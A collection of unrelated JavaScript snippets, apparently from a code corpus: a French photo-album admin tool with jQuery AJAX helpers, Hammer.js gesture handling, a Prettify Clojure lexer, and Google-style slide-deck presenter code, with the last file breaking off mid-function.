alert("document.body.scrollHeight"+document.body.scrollHeight);
alert("$(document).height();"+$(document).height());
alert("$(window).height();"+$(document).height());
alert("$(document).outerHeight();"+$(document).outerHeight());
alert("$(window).outerHeight();"+$(window).outerHeight());
alert("$(document).outerWidth();"+$(document).outerWidth());
alert("$(window).outerWidth();"+$(window).outerWidth());
alert("$(document).innerWidth();"+$(document).innerWidth());
alert("$(window).innerWidth();"+$(window).innerWidth());
|
JavaScript
|
function executeScript(nomScript) {
$.ajaxSetup({async:false});
$('#bouton_execution_script_' + nomScript).attr('disabled', true);
var parametres = { 'scriptAExecuter': nomScript + ".sql"};
var retour;
$.post('/outils/scriptsql/ScriptSQL.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_execution_script_' + nomScript).attr('disabled', false);
}
$('#span_execution_script_' + nomScript).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
|
JavaScript
|
var outilVisionneuseHauteurBande = 130;
function initialiserPositions() {
/*if (navigator.appName == 'Microsoft Internet Explorer') {
$("#bandeMiniatures").css('top', outilPopupHeightPopup - 160);
$("#bandeMiniatures").css('width', outilPopupWidthPopup - 40);
} else {
$("#bandeMiniatures").css('top', outilPopupHeightPopup - 120 + 40);
}*/
$("#bandeMiniatures").css('top', outilPopupHeightPopup - outilVisionneuseHauteurBande + 2 * outilPopupPadding);
}
function ouvrirPopupVisionneuse(idAlbumPhoto, nomPhotoParDefaut) {
if (typeof(nomCompletPhotoParDefaut)=='undefined') {
nomCompletPhotoParDefaut = "";
}
$("#photoVisionneuse").attr("src", "");
ouvrirGrandePopup("/outils/photo/visionneuse.php?idAlbumPhoto=" + idAlbumPhoto + "&nomPhotoParDefaut=" + nomPhotoParDefaut, initialiserPositions, onSizeChange);
}
function onSizeChange() {
initialiserPositions();
redimmensionnerImage();
}
var largeurReelleImageChargee = 0;
var hauteurReelleImageChargee = 0;
function redimmensionnerImage() {
var photo= $("#photoVisionneuse");
photo.removeAttr("width");
photo.removeAttr("height");
var hauteurImage = hauteurReelleImageChargee;
var largeurImage = largeurReelleImageChargee;
var ratioImage = largeurImage / hauteurImage;
var hauteurMaxi = getHauteurMaxiImage();
var largeurMaxi = getLargeurMaxiImage();
var hauteurImageApresModifications = hauteurImage;
var largeurImageApresModifications = largeurImage;
var taillesModifiees = false;
console.log("changement taille popup : " + outilPopupWidthPopup + ", " + outilPopupHeightPopup);
if (hauteurImage > hauteurMaxi) {
hauteurImageApresModifications = hauteurMaxi;
largeurImageApresModifications = hauteurMaxi * ratioImage;
console.log("Changement taille image 1 : " + largeurImageApresModifications + ", " + hauteurMaxi);
photo.attr('height', hauteurMaxi);
photo.attr('width', largeurImageApresModifications);
//OK pour la hauteur, vérifie que la largeur n'est pas toujours trop grande
if (largeurImageApresModifications > largeurMaxi) {
console.log("Changement taille image 2 : " + largeurMaxi + ", " + largeurMaxi / ratioImage);
//Si c'est la cas, on se base sur la largeur pour trouver la taille maxi
photo.attr('width', largeurMaxi);
photo.attr('height', largeurMaxi / ratioImage);
}
taillesModifiees = true;
}
if (largeurImage > largeurMaxi) {
hauteurImageApresModifications = largeurMaxi / ratioImage;
largeurImageApresModifications = largeurMaxi;
console.log("Changement taille image 3 : " + largeurMaxi + ", " + hauteurImageApresModifications);
photo.attr('width', largeurMaxi);
photo.attr('height', hauteurImageApresModifications);
//OK pour la largeur, vérifie que la hauteur n'est pas toujours trop grande
if (hauteurImageApresModifications > hauteurMaxi) {
console.log("Changement taille image 4 : " + hauteurMaxi * ratioImage + ", " + hauteurMaxi);
//dans ce cas, on se base sur la hauteur pour trouver la taille maxi
photo.attr('height', hauteurMaxi);
photo.attr('width', hauteurMaxi * ratioImage);
}
taillesModifiees = true;
}
if (!taillesModifiees) {
console.log("Changement taille image 5 : " + largeurImage + ", " + hauteurImage);
photo.attr('width', largeurImage);
photo.attr('height', hauteurImage);
}
//empèche d'avoir des tailles <=0
if (photo.attr('width') < 1) {
photo.attr('width', 1);
}
if (photo.attr('height') < 1) {
photo.attr('height', 1);
}
var positionGauche = (getLargeurMaxiImage() - photo.attr('width')) / 2 + 10;
photo.css('left', positionGauche);
}
function chargerImage(nomPhoto) {
var photo= $("#photoVisionneuse");
//photo.css("display","none");
photo.fadeOut(100, function() {
var monImage = new Image();
monImage.onload = function(){
largeurReelleImageChargee = monImage.width;
hauteurReelleImageChargee = monImage.height;
//Redimmensionnement de l'image
redimmensionnerImage();
photo.attr("src", monImage.src);
//photo.css("display","block");
photo.fadeIn(100);
}
monImage.src = nomPhoto;
});
}
function getHauteurMaxiImage() {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// return outilPopupHeightPopup - 210 - 2 * getMargeImage();
//} else {
return outilPopupHeightPopup - outilVisionneuseHauteurBande - 2 * getMargeImage();
//}
}
function getLargeurMaxiImage() {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// return outilPopupWidthPopup - 80 - 2 * getMargeImage();
//} else {
return outilPopupWidthPopup - 2 * getMargeImage();
//}
}
function getMargeImage() {
return 0;
}
|
JavaScript
|
function createAlbumPhoto(id) {
$.ajaxSetup({async:false});
$('#bouton_creation_album_' + id).attr('disabled', true);
var parametres = { className: 'GererAlbumPhotoAction', cmd: "insertWithValues", id:id, nom:id, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (retour.succes) {
parametres = { className: 'GererConcertAction', cmd: "linkWithConcertIfExists", idAlbumPhoto:id, idConcert:id};
var retourLienConcert;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retourLienConcert = JSON.parse(data);
});
if (!retourLienConcert.succes) {
$('#bouton_creation_album_' + id).attr('disabled', false);
}
} else {
$('#bouton_creation_album_' + id).attr('disabled', false);
}
$('#span_creation_album_' + id).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function createRepertoireAlbumPhoto(id) {
$.ajaxSetup({async:false});
$('#bouton_creation_repertoire_album_' + id).attr('disabled', true);
var parametres = { className: 'GererAlbumPhotoAction', cmd: "createRepertoireAlbumPhoto", id:id, nom:id, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_creation_repertoire_album_' + id).attr('disabled', false);
}
$('#span_creation_repertoire_album_' + id).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function createPhoto(idAlbumPhoto, nomPhotoAlbum, nomPhotoAlbumForId) {
$.ajaxSetup({async:false});
$('#bouton_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', true);
var parametres = { className: 'GererPhotoAction', cmd: "createEnregistrementPhoto", idAlbumPhoto:idAlbumPhoto, nomPhotoAlbum:nomPhotoAlbum, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', false);
}
$('#span_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function deleteEnregistrementPhotoAlbum(idAlbumPhoto, nomPhotoAlbum, nomPhotoAlbumForId) {
$.ajaxSetup({async:false});
$('#bouton_suppression_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', true);
var parametres = { className: 'GererPhotoAction', cmd: "deleteEnregistrementPhoto", idAlbumPhoto:idAlbumPhoto, nomPhotoAlbum:nomPhotoAlbum};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_suppression_photo_' + + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', false);
}
$('#span_suppression_photo_' + + idAlbumPhoto + '_' + nomPhotoAlbumForId).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
|
JavaScript
|
/*
Copyright (C) 2011 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
var a=null;
PR.registerLangHandler(PR.createSimpleLexer([["opn",/^[([{]+/,a,"([{"],["clo",/^[)\]}]+/,a,")]}"],["com",/^;[^\n\r]*/,a,";"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \xa0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\b/,a],
["typ",/^:[\dA-Za-z-]+/]]),["clj"]);
|
JavaScript
|
(function(window) {
var ORIGIN_ = location.protocol + '//' + location.host;
function SlideController() {
this.popup = null;
this.isPopup = window.opener;
if (this.setupDone()) {
window.addEventListener('message', this.onMessage_.bind(this), false);
// Close popups if we reload the main window.
window.addEventListener('beforeunload', function(e) {
if (this.popup) {
this.popup.close();
}
}.bind(this), false);
}
}
SlideController.PRESENTER_MODE_PARAM = 'presentme';
SlideController.prototype.setupDone = function() {
var params = location.search.substring(1).split('&').map(function(el) {
return el.split('=');
});
var presentMe = null;
for (var i = 0, param; param = params[i]; ++i) {
if (param[0].toLowerCase() == SlideController.PRESENTER_MODE_PARAM) {
presentMe = param[1] == 'true';
break;
}
}
if (presentMe !== null) {
localStorage.ENABLE_PRESENTOR_MODE = presentMe;
// TODO: use window.history.pushState to update URL instead of the redirect.
if (window.history.replaceState) {
window.history.replaceState({}, '', location.pathname);
} else {
location.replace(location.pathname);
return false;
}
}
var enablePresenterMode = localStorage.getItem('ENABLE_PRESENTOR_MODE');
if (enablePresenterMode && JSON.parse(enablePresenterMode)) {
// Only open popup from main deck. Don't want recursive popup opening!
if (!this.isPopup) {
var opts = 'menubar=no,location=yes,resizable=yes,scrollbars=no,status=no';
this.popup = window.open(location.href, 'mywindow', opts);
// Loading in the popup? Trigger the hotkey for turning presenter mode on.
this.popup.addEventListener('load', function(e) {
var evt = this.popup.document.createEvent('Event');
evt.initEvent('keydown', true, true);
evt.keyCode = 'P'.charCodeAt(0);
this.popup.document.dispatchEvent(evt);
// this.popup.document.body.classList.add('with-notes');
// document.body.classList.add('popup');
}.bind(this), false);
}
}
return true;
}
SlideController.prototype.onMessage_ = function(e) {
var data = e.data;
// Restrict messages to being from this origin. Allow local developmet
// from file:// though.
// TODO: It would be dope if FF implemented location.origin!
if (e.origin != ORIGIN_ && ORIGIN_.indexOf('file://') != 0) {
alert('Someone tried to postMessage from an unknown origin');
return;
}
// if (e.source.location.hostname != 'localhost') {
// alert('Someone tried to postMessage from an unknown origin');
// return;
// }
if ('keyCode' in data) {
var evt = document.createEvent('Event');
evt.initEvent('keydown', true, true);
evt.keyCode = data.keyCode;
document.dispatchEvent(evt);
}
};
SlideController.prototype.sendMsg = function(msg) {
// // Send message to popup window.
// if (this.popup) {
// this.popup.postMessage(msg, ORIGIN_);
// }
// Send message to main window.
if (this.isPopup) {
// TODO: It would be dope if FF implemented location.origin.
window.opener.postMessage(msg, '*');
}
};
window.SlideController = SlideController;
})(window);
|
JavaScript
|
/*
* Hammer.JS
* version 0.4
* author: Eight Media
* https://github.com/EightMedia/hammer.js
*/
function Hammer(element, options, undefined)
{
var self = this;
var defaults = {
// prevent the default event or not... might be buggy when false
prevent_default : false,
css_hacks : true,
drag : true,
drag_vertical : true,
drag_horizontal : true,
// minimum distance before the drag event starts
drag_min_distance : 20, // pixels
// pinch zoom and rotation
transform : true,
scale_treshold : 0.1,
rotation_treshold : 15, // degrees
tap : true,
tap_double : true,
tap_max_interval : 300,
tap_double_distance: 20,
hold : true,
hold_timeout : 500
};
options = mergeObject(defaults, options);
// some css hacks
(function() {
if(!options.css_hacks) {
return false;
}
var vendors = ['webkit','moz','ms','o',''];
var css_props = {
"userSelect": "none",
"touchCallout": "none",
"userDrag": "none",
"tapHighlightColor": "rgba(0,0,0,0)"
};
var prop = '';
for(var i = 0; i < vendors.length; i++) {
for(var p in css_props) {
prop = p;
if(vendors[i]) {
prop = vendors[i] + prop.substring(0, 1).toUpperCase() + prop.substring(1);
}
element.style[ prop ] = css_props[p];
}
}
})();
// holds the distance that has been moved
var _distance = 0;
// holds the exact angle that has been moved
var _angle = 0;
// holds the diraction that has been moved
var _direction = 0;
// holds position movement for sliding
var _pos = { };
// how many fingers are on the screen
var _fingers = 0;
var _first = false;
var _gesture = null;
var _prev_gesture = null;
var _touch_start_time = null;
var _prev_tap_pos = {x: 0, y: 0};
var _prev_tap_end_time = null;
var _hold_timer = null;
var _offset = {};
// keep track of the mouse status
var _mousedown = false;
var _event_start;
var _event_move;
var _event_end;
/**
* angle to direction define
* @param float angle
* @return string direction
*/
this.getDirectionFromAngle = function( angle )
{
var directions = {
down: angle >= 45 && angle < 135, //90
left: angle >= 135 || angle <= -135, //180
up: angle < -45 && angle > -135, //270
right: angle >= -45 && angle <= 45 //0
};
var direction, key;
for(key in directions){
if(directions[key]){
direction = key;
break;
}
}
return direction;
};
/**
* count the number of fingers in the event
* when no fingers are detected, one finger is returned (mouse pointer)
* @param event
* @return int fingers
*/
function countFingers( event )
{
// there is a bug on android (until v4?) that touches is always 1,
// so no multitouch is supported, e.g. no, zoom and rotation...
return event.touches ? event.touches.length : 1;
}
/**
* get the x and y positions from the event object
* @param event
* @return array [{ x: int, y: int }]
*/
function getXYfromEvent( event )
{
event = event || window.event;
// no touches, use the event pageX and pageY
if(!event.touches) {
var doc = document,
body = doc.body;
return [{
x: event.pageX || event.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && doc.clientLeft || 0 ),
y: event.pageY || event.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && doc.clientTop || 0 )
}];
}
// multitouch, return array with positions
else {
var pos = [], src;
for(var t=0, len=event.touches.length; t<len; t++) {
src = event.touches[t];
pos.push({ x: src.pageX, y: src.pageY });
}
return pos;
}
}
/**
* calculate the angle between two points
* @param object pos1 { x: int, y: int }
* @param object pos2 { x: int, y: int }
*/
function getAngle( pos1, pos2 )
{
return Math.atan2(pos2.y - pos1.y, pos2.x - pos1.x) * 180 / Math.PI;
}
/**
* trigger an event/callback by name with params
* @param string name
* @param array params
*/
function triggerEvent( eventName, params )
{
// return touches object
params.touches = getXYfromEvent(params.originalEvent);
params.type = eventName;
// trigger callback
if(isFunction(self["on"+ eventName])) {
self["on"+ eventName].call(self, params);
}
}
/**
* cancel event
* @param object event
* @return void
*/
function cancelEvent(event){
event = event || window.event;
if(event.preventDefault){
event.preventDefault();
}else{
event.returnValue = false;
event.cancelBubble = true;
}
}
/**
* reset the internal vars to the start values
*/
function reset()
{
_pos = {};
_first = false;
_fingers = 0;
_distance = 0;
_angle = 0;
_gesture = null;
}
var gestures = {
// hold gesture
// fired on touchstart
hold : function(event)
{
// only when one finger is on the screen
if(options.hold) {
_gesture = 'hold';
clearTimeout(_hold_timer);
_hold_timer = setTimeout(function() {
if(_gesture == 'hold') {
triggerEvent("hold", {
originalEvent : event,
position : _pos.start
});
}
}, options.hold_timeout);
}
},
// drag gesture
// fired on mousemove
drag : function(event)
{
// get the distance we moved
var _distance_x = _pos.move[0].x - _pos.start[0].x;
var _distance_y = _pos.move[0].y - _pos.start[0].y;
_distance = Math.sqrt(_distance_x * _distance_x + _distance_y * _distance_y);
// drag
// minimal movement required
if(options.drag && (_distance > options.drag_min_distance) || _gesture == 'drag') {
// calculate the angle
_angle = getAngle(_pos.start[0], _pos.move[0]);
_direction = self.getDirectionFromAngle(_angle);
// check the movement and stop if we go in the wrong direction
var is_vertical = (_direction == 'up' || _direction == 'down');
if(((is_vertical && !options.drag_vertical) || (!is_vertical && !options.drag_horizontal))
&& (_distance > options.drag_min_distance)) {
return;
}
_gesture = 'drag';
var position = { x: _pos.move[0].x - _offset.left,
y: _pos.move[0].y - _offset.top };
var event_obj = {
originalEvent : event,
position : position,
direction : _direction,
distance : _distance,
distanceX : _distance_x,
distanceY : _distance_y,
angle : _angle
};
// on the first time trigger the start event
if(_first) {
triggerEvent("dragstart", event_obj);
_first = false;
}
// normal slide event
triggerEvent("drag", event_obj);
cancelEvent(event);
}
},
// transform gesture
// fired on touchmove
transform : function(event)
{
if(options.transform) {
var scale = event.scale || 1;
var rotation = event.rotation || 0;
if(countFingers(event) != 2) {
return false;
}
if(_gesture != 'drag' &&
(_gesture == 'transform' || Math.abs(1-scale) > options.scale_treshold
|| Math.abs(rotation) > options.rotation_treshold)) {
_gesture = 'transform';
_pos.center = { x: ((_pos.move[0].x + _pos.move[1].x) / 2) - _offset.left,
y: ((_pos.move[0].y + _pos.move[1].y) / 2) - _offset.top };
var event_obj = {
originalEvent : event,
position : _pos.center,
scale : scale,
rotation : rotation
};
// on the first time trigger the start event
if(_first) {
triggerEvent("transformstart", event_obj);
_first = false;
}
triggerEvent("transform", event_obj);
cancelEvent(event);
return true;
}
}
return false;
},
// tap and double tap gesture
// fired on touchend
tap : function(event)
{
// compare the kind of gesture by time
var now = new Date().getTime();
var touch_time = now - _touch_start_time;
// dont fire when hold is fired
if(options.hold && !(options.hold && options.hold_timeout > touch_time)) {
return;
}
// when previous event was tap and the tap was max_interval ms ago
var is_double_tap = (function(){
if (_prev_tap_pos && options.tap_double && _prev_gesture == 'tap' && (_touch_start_time - _prev_tap_end_time) < options.tap_max_interval) {
var x_distance = Math.abs(_prev_tap_pos[0].x - _pos.start[0].x);
var y_distance = Math.abs(_prev_tap_pos[0].y - _pos.start[0].y);
return (_prev_tap_pos && _pos.start && Math.max(x_distance, y_distance) < options.tap_double_distance);
}
return false;
})();
if(is_double_tap) {
_gesture = 'double_tap';
_prev_tap_end_time = null;
triggerEvent("doubletap", {
originalEvent : event,
position : _pos.start
});
cancelEvent(event);
}
// single tap is single touch
else {
_gesture = 'tap';
_prev_tap_end_time = now;
_prev_tap_pos = _pos.start;
if(options.tap) {
triggerEvent("tap", {
originalEvent : event,
position : _pos.start
});
cancelEvent(event);
}
}
}
};
function handleEvents(event)
{
switch(event.type)
{
case 'mousedown':
case 'touchstart':
_pos.start = getXYfromEvent(event);
_touch_start_time = new Date().getTime();
_fingers = countFingers(event);
_first = true;
_event_start = event;
// borrowed from jquery offset https://github.com/jquery/jquery/blob/master/src/offset.js
var box = element.getBoundingClientRect();
var clientTop = element.clientTop || document.body.clientTop || 0;
var clientLeft = element.clientLeft || document.body.clientLeft || 0;
var scrollTop = window.pageYOffset || element.scrollTop || document.body.scrollTop;
var scrollLeft = window.pageXOffset || element.scrollLeft || document.body.scrollLeft;
_offset = {
top: box.top + scrollTop - clientTop,
left: box.left + scrollLeft - clientLeft
};
_mousedown = true;
// hold gesture
gestures.hold(event);
if(options.prevent_default) {
cancelEvent(event);
}
break;
case 'mousemove':
case 'touchmove':
if(!_mousedown) {
return false;
}
_event_move = event;
_pos.move = getXYfromEvent(event);
if(!gestures.transform(event)) {
gestures.drag(event);
}
break;
case 'mouseup':
case 'mouseout':
case 'touchcancel':
case 'touchend':
if(!_mousedown || (_gesture != 'transform' && event.touches && event.touches.length > 0)) {
return false;
}
_mousedown = false;
_event_end = event;
// drag gesture
// dragstart is triggered, so dragend is possible
if(_gesture == 'drag') {
triggerEvent("dragend", {
originalEvent : event,
direction : _direction,
distance : _distance,
angle : _angle
});
}
// transform
// transformstart is triggered, so transformed is possible
else if(_gesture == 'transform') {
triggerEvent("transformend", {
originalEvent : event,
position : _pos.center,
scale : event.scale,
rotation : event.rotation
});
}
else {
gestures.tap(_event_start);
}
_prev_gesture = _gesture;
// reset vars
reset();
break;
}
}
// bind events for touch devices
// except for windows phone 7.5, it doesnt support touch events..!
if('ontouchstart' in window) {
element.addEventListener("touchstart", handleEvents, false);
element.addEventListener("touchmove", handleEvents, false);
element.addEventListener("touchend", handleEvents, false);
element.addEventListener("touchcancel", handleEvents, false);
}
// for non-touch
else {
if(element.addEventListener){ // prevent old IE errors
element.addEventListener("mouseout", function(event) {
if(!isInsideHammer(element, event.relatedTarget)) {
handleEvents(event);
}
}, false);
element.addEventListener("mouseup", handleEvents, false);
element.addEventListener("mousedown", handleEvents, false);
element.addEventListener("mousemove", handleEvents, false);
// events for older IE
}else if(document.attachEvent){
element.attachEvent("onmouseout", function(event) {
if(!isInsideHammer(element, event.relatedTarget)) {
handleEvents(event);
}
}, false);
element.attachEvent("onmouseup", handleEvents);
element.attachEvent("onmousedown", handleEvents);
element.attachEvent("onmousemove", handleEvents);
}
}
/**
* find if element is (inside) given parent element
* @param object element
* @param object parent
* @return bool inside
*/
function isInsideHammer(parent, child) {
// get related target for IE
if(!child && window.event && window.event.toElement){
child = window.event.toElement;
}
if(parent === child){
return true;
}
// loop over parentNodes of child until we find hammer element
if(child){
var node = child.parentNode;
while(node !== null){
if(node === parent){
return true;
};
node = node.parentNode;
}
}
return false;
}
/**
* merge 2 objects into a new object
* @param object obj1
* @param object obj2
* @return object merged object
*/
function mergeObject(obj1, obj2) {
var output = {};
if(!obj2) {
return obj1;
}
for (var prop in obj1) {
if (prop in obj2) {
output[prop] = obj2[prop];
} else {
output[prop] = obj1[prop];
}
}
return output;
}
function isFunction( obj ){
return Object.prototype.toString.call( obj ) == "[object Function]";
}
}
|
JavaScript
|
/**
* @authors Luke Mahe
* @authors Eric Bidelman
* @fileoverview TODO
*/
document.cancelFullScreen = document.webkitCancelFullScreen ||
document.mozCancelFullScreen;
/**
* @constructor
*/
function SlideDeck(el) {
this.curSlide_ = 0;
this.prevSlide_ = 0;
this.config_ = null;
this.container = el || document.querySelector('slides');
this.slides = [];
this.controller = null;
this.getCurrentSlideFromHash_();
// Call this explicitly. Modernizr.load won't be done until after DOM load.
this.onDomLoaded_.bind(this)();
}
/**
* @const
* @private
*/
SlideDeck.prototype.SLIDE_CLASSES_ = [
'far-past', 'past', 'current', 'next', 'far-next'];
/**
* @const
* @private
*/
SlideDeck.prototype.CSS_DIR_ = 'theme/css/';
/**
* @private
*/
SlideDeck.prototype.getCurrentSlideFromHash_ = function() {
var slideNo = parseInt(document.location.hash.substr(1));
if (slideNo) {
this.curSlide_ = slideNo - 1;
} else {
this.curSlide_ = 0;
}
};
/**
* @param {number} slideNo
*/
SlideDeck.prototype.loadSlide = function(slideNo) {
if (slideNo) {
this.curSlide_ = slideNo - 1;
this.updateSlides_();
}
};
/**
* @private
*/
SlideDeck.prototype.onDomLoaded_ = function(e) {
document.body.classList.add('loaded'); // Add loaded class for templates to use.
this.slides = this.container.querySelectorAll('slide:not([hidden]):not(.backdrop)');
// If we're on a smartphone, apply special sauce.
if (Modernizr.mq('only screen and (max-device-width: 480px)')) {
// var style = document.createElement('link');
// style.rel = 'stylesheet';
// style.type = 'text/css';
// style.href = this.CSS_DIR_ + 'phone.css';
// document.querySelector('head').appendChild(style);
// No need for widescreen layout on a phone.
this.container.classList.remove('layout-widescreen');
}
this.loadConfig_(SLIDE_CONFIG);
this.addEventListeners_();
this.updateSlides_();
// Add slide numbers and total slide count metadata to each slide.
var that = this;
for (var i = 0, slide; slide = this.slides[i]; ++i) {
slide.dataset.slideNum = i + 1;
slide.dataset.totalSlides = this.slides.length;
slide.addEventListener('click', function(e) {
if (document.body.classList.contains('overview')) {
that.loadSlide(this.dataset.slideNum);
e.preventDefault();
window.setTimeout(function() {
that.toggleOverview();
}, 500);
}
}, false);
}
// Note: this needs to come after addEventListeners_(), which adds a
// 'keydown' listener that this controller relies on.
// Also, no need to set this up if we're on mobile.
if (!Modernizr.touch) {
this.controller = new SlideController(this);
if (this.controller.isPopup) {
document.body.classList.add('popup');
}
}
};
/**
* @private
*/
SlideDeck.prototype.addEventListeners_ = function() {
document.addEventListener('keydown', this.onBodyKeyDown_.bind(this), false);
window.addEventListener('popstate', this.onPopState_.bind(this), false);
// var transEndEventNames = {
// 'WebkitTransition': 'webkitTransitionEnd',
// 'MozTransition': 'transitionend',
// 'OTransition': 'oTransitionEnd',
// 'msTransition': 'MSTransitionEnd',
// 'transition': 'transitionend'
// };
//
// // Find the correct transitionEnd vendor prefix.
// window.transEndEventName = transEndEventNames[
// Modernizr.prefixed('transition')];
//
// // When slides are done transitioning, kickoff loading iframes.
// // Note: we're only looking at a single transition (on the slide). This
// // doesn't include autobuilds the slides may have. Also, if the slide
// // transitions on multiple properties (e.g. not just 'all'), this doesn't
// // handle that case.
// this.container.addEventListener(transEndEventName, function(e) {
// this.enableSlideFrames_(this.curSlide_);
// }.bind(this), false);
// document.addEventListener('slideenter', function(e) {
// var slide = e.target;
// window.setTimeout(function() {
// this.enableSlideFrames_(e.slideNumber);
// this.enableSlideFrames_(e.slideNumber + 1);
// }.bind(this), 300);
// }.bind(this), false);
};
/**
* @private
* @param {Event} e The pop event.
*/
SlideDeck.prototype.onPopState_ = function(e) {
if (e.state != null) {
this.curSlide_ = e.state;
this.updateSlides_(true);
}
};
/**
* @param {Event} e
*/
SlideDeck.prototype.onBodyKeyDown_ = function(e) {
if (/^(input|textarea)$/i.test(e.target.nodeName) ||
e.target.isContentEditable) {
return;
}
// Forward keydowns to the main slides if we're the popup.
if (this.controller && this.controller.isPopup) {
this.controller.sendMsg({keyCode: e.keyCode});
}
switch (e.keyCode) {
case 13: // Enter
if (document.body.classList.contains('overview')) {
this.toggleOverview();
}
break;
case 39: // right arrow
case 32: // space
case 34: // PgDn
this.nextSlide();
e.preventDefault();
break;
case 37: // left arrow
case 8: // Backspace
case 33: // PgUp
this.prevSlide();
e.preventDefault();
break;
case 40: // down arrow
this.nextSlide();
e.preventDefault();
break;
case 38: // up arrow
this.prevSlide();
e.preventDefault();
break;
case 72: // H: Toggle code highlighting
document.body.classList.toggle('highlight-code');
break;
case 79: // O: Toggle overview
this.toggleOverview();
break;
case 80: // P
if (this.controller && this.controller.isPopup) {
document.body.classList.toggle('with-notes');
} else if (this.controller && !this.controller.popup) {
document.body.classList.toggle('with-notes');
}
break;
case 82: // R
// TODO: implement refresh on main slides when popup is refreshed.
break;
case 27: // ESC: Hide notes and highlighting
document.body.classList.remove('with-notes');
document.body.classList.remove('highlight-code');
if (document.body.classList.contains('overview')) {
this.toggleOverview();
}
break;
case 70: // F: Toggle fullscreen
// Only respect 'f' on body. Don't want to capture keys from an <input>.
// Also, ignore browser's fullscreen shortcut (cmd+shift+f) so we don't
// get trapped in fullscreen!
if (e.target == document.body && !(e.shiftKey && e.metaKey)) {
if (document.mozFullScreen !== undefined && !document.mozFullScreen) {
document.body.mozRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
} else if (document.webkitIsFullScreen !== undefined && !document.webkitIsFullScreen) {
document.body.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
} else {
document.cancelFullScreen();
}
}
break;
case 87: // W: Toggle widescreen
// Only respect 'w' on body. Don't want to capture keys from an <input>.
if (e.target == document.body && !(e.shiftKey && e.metaKey)) {
this.container.classList.toggle('layout-widescreen');
}
break;
}
};
/**
*
*/
SlideDeck.prototype.focusOverview_ = function() {
var overview = document.body.classList.contains('overview');
for (var i = 0, slide; slide = this.slides[i]; i++) {
slide.style[Modernizr.prefixed('transform')] = overview ?
'translateZ(-2500px) translate(' + (( i - this.curSlide_ ) * 105) +
'%, 0%)' : '';
}
};
/**
*/
SlideDeck.prototype.toggleOverview = function() {
document.body.classList.toggle('overview');
this.focusOverview_();
};
/**
* @private
*/
SlideDeck.prototype.loadConfig_ = function(config) {
if (!config) {
return;
}
this.config_ = config;
var settings = this.config_.settings;
this.loadTheme_(settings.theme || []);
if (settings.favIcon) {
this.addFavIcon_(settings.favIcon);
}
// Prettyprint. Default to on.
if (!!!('usePrettify' in settings) || settings.usePrettify) {
prettyPrint();
}
if (settings.analytics) {
this.loadAnalytics_();
}
if (settings.fonts) {
this.addFonts_(settings.fonts);
}
// Builds. Default to on.
if (!!!('useBuilds' in settings) || settings.useBuilds) {
this.makeBuildLists_();
}
if (settings.title) {
document.title = settings.title.replace(/<br\/?>/, ' ');
if (settings.eventTitle) {
document.title += ' - ' + settings.eventTitle;
}
document.querySelector('[data-config-title]').innerHTML = settings.title;
}
if (settings.subtitle) {
document.querySelector('[data-config-subtitle]').innerHTML = settings.subtitle;
}
if (this.config_.presenters) {
var presenters = this.config_.presenters;
var dataConfigContact = document.querySelector('[data-config-contact]');
var html = [];
if (presenters.length == 1) {
var p = presenters[0];
html = [p.name, p.company].join('<br>');
var gplus = p.gplus ? '<span>g+</span><a href="' + p.gplus +
'">' + p.gplus.replace(/https?:\/\//, '') + '</a>' : '';
var twitter = p.twitter ? '<span>twitter</span>' +
'<a href="http://twitter.com/' + p.twitter + '">' +
p.twitter + '</a>' : '';
var www = p.www ? '<span>www</span><a href="' + p.www +
'">' + p.www.replace(/https?:\/\//, '') + '</a>' : '';
var github = p.github ? '<span>github</span><a href="' + p.github +
'">' + p.github.replace(/https?:\/\//, '') + '</a>' : '';
var html2 = [gplus, twitter, www, github].join('<br>');
